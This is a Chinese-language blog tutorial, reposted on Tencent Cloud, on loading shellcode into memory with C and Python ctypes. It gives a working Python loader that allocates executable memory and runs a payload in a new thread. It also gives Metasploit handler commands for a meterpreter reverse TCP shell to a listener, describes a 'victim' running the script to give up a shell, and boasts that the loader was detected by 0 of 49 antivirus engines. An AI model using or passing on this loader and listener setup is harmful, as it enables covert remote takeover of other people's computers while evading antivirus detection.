专栏首页洛米唯熊Python内存加载shellcode

Python内存加载shellcode

0x00:原理

大部分脚本语言加载 shellcode 其实都是通过 c 的 ffi 去调用操作系统的api,其实并没有太多的技巧在里面,明白了原理,只需要查一下对应的脚本语言怎么调用 c 即可.

那么我们只需要明白 c 通常是怎么加载 shellcode 的即可一通百通.

那么 c 是怎么加载 shellcode 呢,我们直接从汇编开始探究.

shellcode 这个东西我们明白是一串可执行的二进制(一般可执行文件的拥有可执行权限的section为.text),那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 shellcode,然后跳转到 shellcode 首地址去执行就行了,汇编里面改变eip(即当前指令的下一条即将运行指令的虚拟地址)的方法有不少,最简单的就是直接 jmp 过去了.也就是写成伪码

大概意思就是

lea eax, shellcode;
jmp eax;

那么我们用 c 怎么表示呢?

这里也写一段伪码(因为本文的重点并不是在于 c 代码的编写)

那么按照刚才的思路,先申请一块可执行的内存,放入 shellcode 然后跳转过去执行即可.

// shellcode
unsigned char shellcode[] =
    "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" 
    "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"  
    "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"  
    ...;
// 定义一个函数类型
typedef void (__stdcall *CODE) ();
// 申请内存
PVOID p = NULL;  
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 把shellcode放入内存
memcpy(p, shellcode, sizeof(shellcode));

CODE code =(CODE)p;

code();

并没有写出一个可用的 c 加载 shellcode,只是旨在点出一下流程,然后引出后面的 python 加载 shellcode,上面我们先申请了一块带有可读可写可执行权限的内存,然后把 shellcode 放进去,然后我们强转为一个函数类型指针,最后调用这个函数,达到了我们的目的。

0x01:Python实现

前面说过,大部分脚本语言加载 shellcode 都是调用的c的ffi,那么我们直接按照之前的思路来就行了.

import ctypes
#(kali生成payload存放位置)
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

注意:其中的的每个 c_uint64,这个类型在64位上是必要的,我们需要手动指定 argtypes 和 restype,否则默认的是 32 位整型。

代码里面加了注释,我们可以看到,基本思路也是一样的,先分配一块可读可写可执行代码的内存,在代码中使用的是

0x40(PAGE_EXECUTE_READWRITE)和 0x3000 ( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE)

然后把 shellcode 塞进去,跳过去运行.

0x02:演示过程

一、MSF生成Payload

把生成的Payload放进上面的代码中

例子

二、msf运行并开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 192.168.1.13
set LPORT 666
exploit

三、受害者运行脚本

获取到shell

四、在线查杀

https://r.virscan.org/language/zh-cn/report/5f75df969a7250364579f48d6d56ebcd

结果(0/49)

文章分析原理来自作者:Akkuman

https://www.cnblogs.com/Akkuman/p/11851057.html

本文分享自微信公众号 - 洛米唯熊(luomiweixiong),作者:Jaky

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-04-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CVE-2019-8389 - 在MUSICLOUD V1.6中读取任意文件

    https://www.shawarkhan.com/2019/02/cve-2019-8389-arbitrary-file-read-in.html

    洛米唯熊
  • RDP攻击 - 允许攻击者反向通信的多个关键漏洞

    来自Check Point的安全研究人员发现了16个主要漏洞,总共检测到25个安全漏洞。通过利用远程代码执行和内存损坏漏洞,攻击者可以从服务器连接回客户端计算机...

    洛米唯熊
  • Chrome V8类型混淆型远程代码执行漏洞(CVE-2020-6418)

    2019年2月25日,谷歌Chrome浏览器与微软Edge浏览器发布了安全更新,在Google Chrome浏览器80.0.3987.122以下与Mic...

    洛米唯熊
  • 洛谷P1709 [USACO5.5]隐藏口令Hidden Password(最小表示法)

    attack
  • 洛谷 P1200 [USACO1.1]你的飞碟在这儿Your Ride Is He…【字符串+模拟】

    P1200 [USACO1.1]你的飞碟在这儿Your Ride Is He… 题目描述 众所周知,在每一个彗星后都有一只UFO。这些UFO时常来收集地球上的忠...

    Angel_Kitty
  • 深度学习在金融领域的应用

    现在我们正处在一个深度学习时代,CV领域基本上已经被NN所统治,NLP、推荐也有不同程度的大规模应用。似乎很多从业者对风控领域的认知是我们一定不会使用深度学习方...

    Datawhale
  • 推荐收藏 | 深度学习在金融领域的应用

    现在我们正处在一个深度学习时代,CV领域基本上已经被NN所统治,NLP、推荐也有不同程度的大规模应用。似乎很多从业者对风控领域的认知是我们一定不会使用深度学习方...

    Sam Gor
  • 发布 | 音量控制器

    Qt君
  • 政府将严密管控比特币

    上周美国参议院听证会上关于虚拟货币问题的公开讨论很是引人瞩目。美国通过广播听证会表明了它的开放性,并且世界各地的许多比特币爱好者都观看了这场听证会。

    t9UhoI
  • 政府对比特币将进行严密管控

    上周,美国参议院举行的听证会是关于虚拟货币问题的公开讨论中最为引人瞩目的一场。而美国通过听证会的现场播放表明了这场讨论的开放性。世界各地的许多比特币爱好者也一同...

    Bon

扫码关注云+社区

领取腾讯云代金券